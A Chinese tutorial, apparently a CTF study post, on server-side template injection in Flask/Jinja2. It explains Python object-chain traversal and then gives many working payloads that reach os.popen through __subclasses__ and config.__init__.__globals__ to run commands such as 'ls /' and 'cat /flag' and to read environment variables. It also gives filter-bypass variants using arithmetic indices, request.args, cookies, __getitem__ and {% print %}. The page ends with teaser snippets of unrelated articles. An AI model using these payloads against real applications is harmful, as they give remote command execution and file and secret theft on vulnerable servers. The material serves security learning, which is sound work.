news 2026/5/12 16:30:49

SSTI模板注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SSTI模板注入

SSTI

SSTI即服务端模板注入,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输出数据,从而达到读取文件或者getshall的目的

Flask是python编写的一个web应用程序框架,Jinja2是flask中的一个模板引擎,在Jinja2中,存在三种语句:控制结构{% %}、变量取值{{ }}、注释{# #}

SSTI基本思路就是通过找到合适的魔术方法,一步步去执行,从而得到我们想要的结果

{{7*7}} # Jinja2/Twig:返回49 ${7*7} # Mako:返回49 <%= 7*7 %> # ERB:返回49 #{7*7} # Freemarker:返回49 [[7*7]] # Twig(某些版本)

jinjia2基本语法示例

{# 这是注释 #} {# 变量输出 #} Hello {{ name }}! {# 控制结构 #} {% if user.is_active %} Welcome back! {% else %} Please log in. {% endif %} {# 循环 #} <ul> {% for item in items %} <li>{{ item.name }}</li> {% endfor %} </ul> {# 模板继承 #} {% extends "base.html" %} {% block content %} <h1>Page Title</h1> {{ super() }} {# 调用父模板中的内容 #} {% endblock %}

jinjia2基本特性

  • 语法简洁:使用{{ }}表示变量,{% %}表示控制结构
  • 模板继承:支持通过{% extends %}{% block %}实现模板继承
  • 自动转义:内置 HTML 自动转义功能,防止 XSS 攻击
  • 高性能:编译为 Python 字节码,执行效率高
  • 可扩展:支持自定义过滤器、测试、全局函数等

一些方法:

__class__:万物皆对象,而 __class__ 用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为 <class 'str'>。 __bases__:以元组的形式返回一个类所直接继承的类。 __base__: 以字符串返回一个类所直接继承的第一个类。 __mro__: 返回解析方法调用的顺序。
__class__:返回对象的类 返回 <class 'str'> __bases__:返回类的基类 返回 (<class 'object'>,) __subclasses__():返回类的所有子 返回 object 的所有子类

然后进行遍历子类:寻找包含危险功能的子类(如os._wrap_close)。执行命令:调用子类的方法执行系统命令。

# 通过 _wrap_close 可以访问: _wrap_close.__init__.__globals__ 包含: - os.environ # 环境变量 - os.system # 执行系统命令 - os.popen # 执行命令并获取输出 - os.listdir # 列出目录 - os.open # 打开文件

进行读取文件操作:这个是没有进行任何过滤的操作

{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['os'].popen('ls').read()}}

进行过滤后命令

过滤了数字,就不能直接进行索引使用,但是可以间接的去使用。使用算式进行绕过

{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}

过滤了双引号和单引号,用request.args传递参数

{{().__class__}} # 元组 - 不需要引号 {{[].__class__}} # 列表 {{{}.__class__}} # 字典 {{request.__class__}} # request对象 {{config.__class__}} {{self.__class__}}

使用数字对象

{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg

过滤了args,那就不能使用get参数去获取,但是还有其他方法,还可以使用cookies

?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.b).read()}}

然后在cookies中进行传参:p=popen;b=命令

绕过中括号[]

使用__getitem__方法:

{{ "".__class__.__bases__.__getitem__(0) }} # 等价于 __bases__[0]

绕过{{和}}

如果{{被过滤,可以使用{% %}语法:

{% print("".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()) %}

例1:

这是一般情况,没有过滤任何东西

锦家的拼音是jinjia,这不是jinjia模板注入,SSTI漏洞

测试一下,确实存在

接着获取字符串对象的类,查看类的继承链:{{''.__class__.__mro__}}。__mro__返回了(<class 'str'>, <class 'object'>),是Python对象结构

接着获取object基类,[0]是<class 'str'>,[1]是<class 'object'>。输入{{''.__class__.__mro__[1]}}返回<?class'object'>,看到可以访问object基类

然后查看object所有子类,寻找可以利用的危险类

{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('ls').read()}}

但是索引没有找准.......使用多种对象(config、request、self等)增加成功率。config是Flask内置对象,一定存在,无需寻找特定索引,避免索引号问题

可以利用cionfig执行命令:通过config对象访问os模块并执行命令。使用config的__init__方法,访问__globals__,从globals中找到os模块,通过os模块执行命令查找flag

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

在这个目录下并没有flag,看看根目录下,根目录下可以看到!

接着就是读取flag:{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

例2:

过滤数字

沿袭上一题的做法,当做到利用os._wrap_close这个类时,并没有显示内容,这里是过滤了数字

可以利用算式进行绕过,不是直接进行使用,间接进行使用

读取flag:{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}

过滤单、双引号

这题它过滤了双引号和单引号

{{().__class__}} # 元组 - 不需要引号 {{[].__class__}} # 列表 {{{}.__class__}} # 字典 {{request.__class__}} # request对象 {{config.__class__}} {{self.__class__}}

从GET参数获取

{{request.args.a}} //?a=__class__ {{request.args.a|attr(request.args.b)}} //?a=&b=__class__

使用数字对象:

{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls /
{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg

注入思路

  • 随便找一个内置类对象,用 __class__ 拿到他所对应的类。
  • 用 __bases__ 拿到基类(<class 'object'>)。
  • 用 __subclasses__() 拿到子类别表。
  • 在子类别表中直接寻找可以利用的类,具体来说是关于命令执行或者文件操作的模块。

示例(Python 版本不同时下标需调整):

().__class__.__bases__[0].__subclasses__() ().__class__.__mro__[1].__subclasses__()

接下来只要找到能够利用的类(方法、函数)就好了

因为每个环境使用的python库不同,所以类的排序有差异。

直接使用popen(python2不行)

os._wrap_close 类里有 popen。

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用 os 下的 popen

可以从含有 os 的基类入手,比如说 linecache。

"".__class__.__bases__[0].__subclasses__()[256].__init__.__globals__['os'].popen('whoami').read()

使用 import 下的 os(python2不行)

可以使用 __import__ 的 os。

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/10 4:38:32

编写驱动设备函数的用法

从终端输出和文件信息来看&#xff0c;已经编译成功了&#xff08;生成了 RK3568 平台对应的 ARM64 架构驱动模块&#xff09;。一、编译成功的核心依据make过程完成了CC&#xff08;编译&#xff09;、MODPOST&#xff08;模块符号处理&#xff09;、LD&#xff08;链接&#…

作者头像 李华
网站建设 2026/5/1 6:20:51

35、打印服务全解析:设置、故障排除与常见问题解答

打印服务全解析:设置、故障排除与常见问题解答 1. 打印通知设置 在设置打印通知时,可按以下步骤操作: - 打开“Set Notifications (Optional)”向导页面,有两种通知设置方式可供选择: - 邮件通知 :选中“Send Email Notification”复选框,输入一个或多个收件人和发…

作者头像 李华
网站建设 2026/5/4 0:05:09

LangFlow如何管理敏感信息?API密钥加密存储方案

LangFlow 如何安全处理 API 密钥&#xff1f;深入解析其敏感信息管理机制 在 AI 应用开发日益普及的今天&#xff0c;低代码平台正成为开发者快速构建智能工作流的核心工具。LangFlow 作为 LangChain 生态中最具代表性的可视化编排工具&#xff0c;凭借“拖拽即用”的交互体验&…

作者头像 李华
网站建设 2026/5/11 15:37:04

视频解说创作,从未如此简单

影视混剪工具演示还在为制作原创视频内容而苦恼吗&#xff1f;脚本写好了&#xff0c;素材也有了&#xff0c;却卡在了枯燥的后期处理上&#xff1f; 切片、合并、配音、混音… 每一个环节都像是技术壁垒&#xff0c;消耗着你本应用于创意构思的宝贵时间。 我们懂你。 所以&…

作者头像 李华
网站建设 2026/5/12 15:07:56

Multisim示波器使用在电路仿真中的核心要点

深入掌握Multisim示波器&#xff1a;从电路仿真到动态信号分析的实战指南你有没有遇到过这样的情况&#xff1f;在搭建一个放大电路时&#xff0c;理论计算明明没问题&#xff0c;但输出波形却严重失真&#xff1b;或者设计了一个滤波器&#xff0c;输入是1kHz正弦波&#xff0…

作者头像 李华